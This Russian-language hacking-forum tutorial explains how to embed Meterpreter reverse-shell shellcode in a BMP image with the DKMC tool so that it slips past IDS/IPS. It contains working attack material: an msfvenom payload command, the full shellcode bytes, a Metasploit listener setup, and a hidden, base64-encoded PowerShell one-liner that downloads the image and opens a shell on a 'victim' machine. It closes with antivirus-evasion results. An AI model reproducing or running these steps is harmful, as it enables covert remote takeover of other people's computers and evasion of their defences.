Don't Kill My Cat (DKMC) - шел-код в картинке

  • Автор темы Hackers Academy
  • Дата начала
H

Hackers Academy

Original poster
Don't Kill My Cat (DKMC) - шел-код в картинке
Всем привет, сегодня расскажу как внедрить в картинку в формате bmp шелл-код для meterpreter. Для этой цели будем использовать утилиту под названием Don't Kill My Cat (DKMC).

4e8fa894f2bf82a8f8f4a.jpg


Краткий алгоритм:

1. Создается полезная нагрузка с meterpreter в формате RAW

2. С помощью DKMS полезная нагрузка конвертируется в специальный шелл-код, который внедряется в картинку.

4. Если пользователь скачает картинку с внедрённым шелл-кодом и откроет ее графическим редактором, то атака в этом случае не сработает, картинка откроется в стандартном режиме.

5. Для получения удаленного доступа через инфицированную картинку необходимо обратиться к внедрённому шелл-коду с помощью Powershell.

6. Для автоматизации процесса DKMS создает веб-сервер и генерирует команду Powershell, которая автоматически загрузит картинку на машину жертвы и запустит meterpreter.

Возникает вопрос, а для чего нужны такие сложности, неужели нельзя просто создать вирусный exe с обходом антивируса с помощью того же Veil Evanasion?

Дело в том, что в серьезных компаниях используются системы обнаружения и предотвращения вторжений, которые анализируют все передаваемые по сети файлы на предмет хакерских угроз. Эти системы по большей части анализируют только исполняемые файлы, документы word, динамические библиотеки, приложения Java и... мало какая система изучает файлы изображений! Поэтому этот способ позволяет незаметно от IDS/IPS донести вирусную нагрузку на машину жертвы.

Но у данный метод позволяет обходит антивирусные системы только частично. Но об этом в конце статьи.

Для тестирования нам потребуется 2 виртуальных машины:

- Kali Linux

- Машина с версией Windows не ниже 7

У меня машина с Kali имеет IP 192.168.232.131/24, вторая виртуалка на Windows 7 находится в той же подсети.

Создаем нагрузку в формате RAW с помощью msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LPORT=4455 LHOST=192.168.232.131 -f raw -o /root/Desktop/virfile

da37aeb0fc10c2cbb6819.jpg


Скачиваем любую картинку в формате bmp и сохраняем на рабочем столе.

Устанавливаем и запускаем Don't Kill My Cat:

git clone

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



cd DKMS

mkdir output

сhmod +x dkmc.py

python dkmc.py


Далее, нам необходимо сформировать специальный шелл-код, выбираем опцию sc.

8e4927a319cd6c330316c.jpg


Далее, нам необходимо указать путь к полезной нагрузке в формате RAW и сгенерировать шелл-код:

set source /root/Desktop/virfile

run


1de2ea5f47407aadf70c1.jpg


Копируем полученный код в блокнот, он нам потребуется в следующем разделе, выходим в главное меню с помощью команды exit.

Далее, нам необходимо внедрить шелл-код в загруженную картинку, выбираем раздел gen.

213fb42dc2aea4fee0f51.jpg


Устанавливаем значение переменной shellcode:

set shellcode \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\xe8\x83\x68\x02\x00\x11\x67\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5

Задаем значение переменной с путём к загруженной картинке в формате bmp:

set source /root/Desktop/test.bmp

Задаём путь для выходного файла:

set output output/virus.bmp

Запускаем генерацию вирусной картинки:

run

b6eea78132f808ecc277f.jpg


Теперь нам необходимо создать команду для Powershell, которую необходимо выполнить на машине жертвы. Возвращаемся в главное меню и заходим в раздел ps.

Задаем ссылку, по которой будет доступна наша картинка с шелл-кодом. В качестве IP необходимо указать адрес машины с kali:

set url

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



run


03ae792b37f7f2fcde425.jpg


Сохраняем команду для Powershell в блокноте.

Далее, нам необходимо запустить веб-сервер, с которого жертва будет скачивать вирусную картинку. Возвращаемся в главное меню и заходим в раздел web.

Устанавливаем порт и запускаем веб-сервер:

set port 8080

run


b510ce554bdde2b24b086.jpg


После этого нам необходимо запустить листенер в Metasploit.

msfconsole

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LPORT 4455

set LHOST 192.168.232.131

run


3e293fbe944d6001bf1fa.jpg


Теперь на второй виртуальной машине запускаем Powershell и вставляем ранее сохраненную команду из раздела ps.

В моем примере это команда:

powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAE8AagByAHUAbABrAEMALwB6AEUAMQBNAEQAVQAwAE0AagBJAHoATQBUAEkAdQBOAEQAZwAhAHYAVgBaAHQAYgArAEkANABFAFAANQBlAHEAZgAvAEIAVwBpAEUAbABrAFUASwBXAHQAcQB0AFQAcgA5AEoASwBHAHkAagB0ADAAaQAyADAASgBYADEAbgAwAGMAbwBrAEUAMwBEAFgAcwBWAFAASABnAGIASQB2AC8ALwAzAEcASQBWAG0AbwBhAFAAYwA0ADMAZQBuAHkASgBZAGsAOQBNAHgANAAvADgAOAB4AGoAQgA2AEQAcgBnAFYAWQBzADEARgAwAFoAIQBhAGwAZgBnADgAcQBZAEYARwBSADMAZQAyAHQANwBxAHkAYQBPAFIAcgBQAHIAeAA4AG4AbwBVADkASwA4AEoAZQAvAEoAQgAyAHQANwBLADgANQBGAHEASQAxAEYAVQB3AGMAeQBPAHYATwBiADAAWABIAHYAdgBpAHUAdQBFAHQASABSAC8AWABhAG8AeQBQAGYAdABMAFYASQArADUAMQBUAFIAaABOAGkAMQBLAFYAVgBmAEUAaABuAGwASABGAHgAUwAvAEsAUgBLAGgAaABEAGwAQwBwAHkAbABjAFUAMwBOADIATAB6ADEAbABFAC8AcAAwADgATwBzAGQAZABQAE0ANwAyAFoAVQBYADMAWQBqAFgATgBjAGUAKwBHAGwANgBLAEIAUABLAHgAUABEAGcAbwBKAFUAcgBCAFUASQB2AC8AcgAxAGoAMABIADYAVwBRAFQATABpAEQARABMAGIASQBUAC8ASQB6AFEAUQBVADEATQA5AEcARAB4AEIAcQA4AHAAMwBVAHYAbgBqAEgAWABJADQAbwBMADgAMwBtAEwAUgBwAE8AYwBLAGUAKwBpAE0AegBjAHEAUQB5AHAAMgBZADgAWABwAEoAeABwADIALwByADgAMgBYAEkARwA5AFoAMgBoADEAMwA3AE0ASwBjADkAcwBLADUAaABuAEcAaABJAHYANAB0AHgAeQB5AEUALwBIAEwASABnADUAVAA4AEcAMgB1AGkAeABVAE0AcABPAHgAOQBtADYAWQAyAE4AdgAxAHIAawBSAEcAWQArAGgAaAB0AEMAbAAwAFEAVQA5AGsAbABGAG0ATwBnAGIASABhAG8AUQBLAGQASwAvAEgAcQBSAGsAMwBrAGgAWgA5AHQANABlAGMANQBZAHUAUgBIAGsAWQBJAE0AdwAzAGcAZABNAFoAVgBmAHcAYQA2AEoAbgBIAE8AWABmAEwAIQBIAFoAVgByADkAWABHAGkAVwAhAE0ANQByAFUARABJAE4AUQBFADEAWgBDAEoAbgAzAGsAWQBxAEkAUQB4AC8AaQBvAGQAMgBEAFcAWQBYAEcAcABrADcAMgBxAGgATgBhAG4AVwB2AGwAdQBGAGoASQB6AFQATAB2AEYAcQBWAGUAQgBMAE8AYwA5AGQAeABYACsATwBEAGcAcwA4AFkASgBCAE8AMgBuAHcAZQAwAFgAMQBVADcAdgA3AC8ATwB6AGIAdwArAFgARgA4AEcAbgBGACsAaQAxAEgASwBpAGUAUQBUAEUARAB1AEQAbgA3AFgARwBhAHMAaQBQAEcAZQBOAEYAegBTAHgAWgB5AG8AbABtAHEATwB2ADcAVgBMAGwAWQBNAHoASgAhAE4AVAB6AGMARgB3AFMARwBwADMALwBuADEANgAyAHIAdQA5ADYAcgB1AGIAaAB0AHkAcAAvAE4ARgBiAE4AUABQADQAeQBnACsAdgA3AHYAaABGAGcARgBPAEQAYQA4AG0AaQA0AFQATABRAE0AeQBiAFUASgBxADEAVwBCAHkANgBNADIAZQB2AE0AUABvAFMAWQBDAFQAaQBjAEMANQBxAHcAcwBDAEsAdgAvAFYASQA1AEkAZQBaAFEASQBPAFYAVgBaAGoAMwBNADEAYgBiAEsAQwBZAGcATwBnAGMATwBZAGEAbABNAE4AbAB3AHoAVwAzAGQAbwBKADAANwA5ADgAbQB6AG4AagBFAFMAZwAvAFIARQBwAGsAbQBCAFcAeQB4AFgAbQBlAHoASwBMACEAdAB0AFUAUgBYAFUAZwBRAHoAYwBXAC8AaABZAFcATQBzAFcAVwBnAHMAaQA3AGIAWgBGADYAdABiAHYANwBSAHkARwBwAHgAbQBtAFUAdQBPAGMAKwB4AFoAMABPAFgAQgBFACEANQBSAEMANwB4AFIAYwBiAEsASwBUAC8AWABzAHYAaQAwAGwAdQBsADIAYwA2ADUAWgBTAEQATgBkAGgAUgBzADYAYQA0AEMAVwBDADcAZQBrAHkATABUAEsAUQA2AHcAMABnAG4AIQBaAHAAQgAhAHkAeQBnADAAbQBMAHYAbgBJAEkAbQBqAE8AIQB6AGEAdQBFAHIAQgBlAFIASwBSAEYATwBXAGQAaQBqAEoARwBtAFcAQgBFAGMATQBVAGcARQAyAHYAQgBIAFkAYQA1AEwAcgBqAGgAZQAhAEwAcQBUAHAAQgB3AFMATgBDAHkAawA1AEkAagBUAE0AUQBwAEgAMgBXAFUARgA2ACsAZwBZAEkAdQB2AFYAZgBLAHYAZQBXAFQAUwBLAGcAYQBqAEMAWgBpAFYAYgByAEgAdgAhAHAAWABiAEoATgBWAE0AYQBwAGMAbgAhAHYAYwBxADUAZgA1ADkAVQBwAFUAOQBsAGIAaQAwAEYAWgBkAEgAcwBxAGkATQBIAHoAYgBrADIAdgBWAEkAVABaADEASAAzAHQAdABtAFoAeAA1ADIAYgAvAHAAMQBSADYASABWAFcAOQBnAEMARgBFAFUAWQB0ADEARwBXAGgAawBSAEoAeQBKAHIAaQBrADAAUwBIAFYAMQBIADQAegAwAFQAbwA5AGUAUAB0ADIANQA4ADkAZABiACsAZQBQAGYAVwA4AFgANQBYAE4AbgBiACsAZABnAHYANwBIAGYAZQBEAHQAbABLAHMAKwA4AFUAWgBLACsASwBYAHEAbQBsAHMAUwB6AHMAOABuAEoAdwA0AGoAbQA3AGUAWgBKADMAZwB1AFQAUgA5AE0AMwBmAHkATgBsAFgAYQBxAHkAQwBlAFYAWQBOAEIAUwBrAGkAagBGAEgAVQBoADIAVgBtAG4ASQB1AG0AZgBHAHcANwBkAGUATwBzAGEAKwBnAEIASABEAE0AQwA0AFcALwBnAHQAegBuAFgASQBaAEcAQwBGAGMARgBDAGIAVgA0AG8AWgBCAEQASgBOAEkAVgBmAHUANwB0AHYAdgBqAGwAawBGACsARwB6AGwASQBVAHEANgBHAEQAZwAzAHYATQAzADUAUgAwAEYAVgBuAHYARgBNAFIAWQBUADkAegBHADAAMQA2AGoAZwBmAHIAVgBlAEgAcgBYAFEARgAhADIAMwAzAHgATABwAG4AUAA3AGUAVQB6AFgAQwBPAEUATABvAEsANgB0AHoAWQB1ADEARgB6AFcAWQBIAFAAdABOADEAbQAvAC8ANwA4AEMAWABIAEoAegBnAEsAOQBvAFEAKwBPAFgAWQBiADIAWQAzAEsAawBiAEQAZgBRAG0AbQBOAGEAUABuACEALwArAG8AUABQADgARgBSAEQAZQBVAGEAWABRAE8AVQBLADAANABMAEYAcgB3AHQAMABpAFYAYgBGAHcANQBsADgAdgBpAEkAcwB2AGkAOABqAEgAWABxAEwATgBjADEAMwB0ADQAWQBtADkAdgBXAFIAOABNAEIAegBvAHgAVwBRAEUAbwBZADkALwB3AEQAZwBXAFAAWgBOADkAWgBQAFoASQB6AFQAWgBXAHUAUAA4AGcAUgBYAHIAeABTAGMAMgBMAGEATgBkAGIAdQBIAGwAOAAvADgAVABSAE8AMgBxAEYARABPAHUAMQBiADgAbQB5AEkALwBDAFIAMQBCAE0AcgBQADkAbgBiAHgAVABxAGIARwB1AFYARQBzADgAdgB6AG0AKwBZAFAATQBjAEoATgBGADIAQgArAGsARAB5AEgAZwBEAGEAdAArAEkAawBlAEYASwBnAEcAZQBPAEsAcwBwAEYAQwB1AHMAdQBxAFAAVgBYADEANwBmAFcAOQBqAG0AQwBnACEAIQAiAC4AUgBlAHAAbABhAGMAZQAoACIAIQAiACwAIAAiAEEAIgApACkAKQA7AEkARQBYACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACQAcwAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AA==

Если операция прошла успешно, то веб-сервер покажет в логах факт загрузки картинки, а в Metasploit появится сессия meterpreter.

67f93bc33f79cf70ebc6e.jpg


А теперь о том, как обстоят дела с антивирусом. Если просто загрузить картинку на машину жертвы, то Касперский Total Security в ней ничего не обнаружит. Проблема возникает при выполнении кода Powershell. Антивирус ругается на подозрительное действие команды и просто блокирует его выполнение. Если команду Powershell оформить в виде exe, как описано в статье "

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

", то Касперский обнаруживает угрозу Dangerous Pattern и удаляет файл. То есть до загрузки нашей картинки дело даже не доходит.

Avast Antivirus Free не видит никаких угроз, шелл-код отрабатывает успешно. С другими антивирусами тоже нужно тестить, кому интересно, тот займется.

С вами был ФСБ! Надеюсь тебе понравилась моя статья. Подписывайся на мой профиль UfoLabs и на мой телеграм канал

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.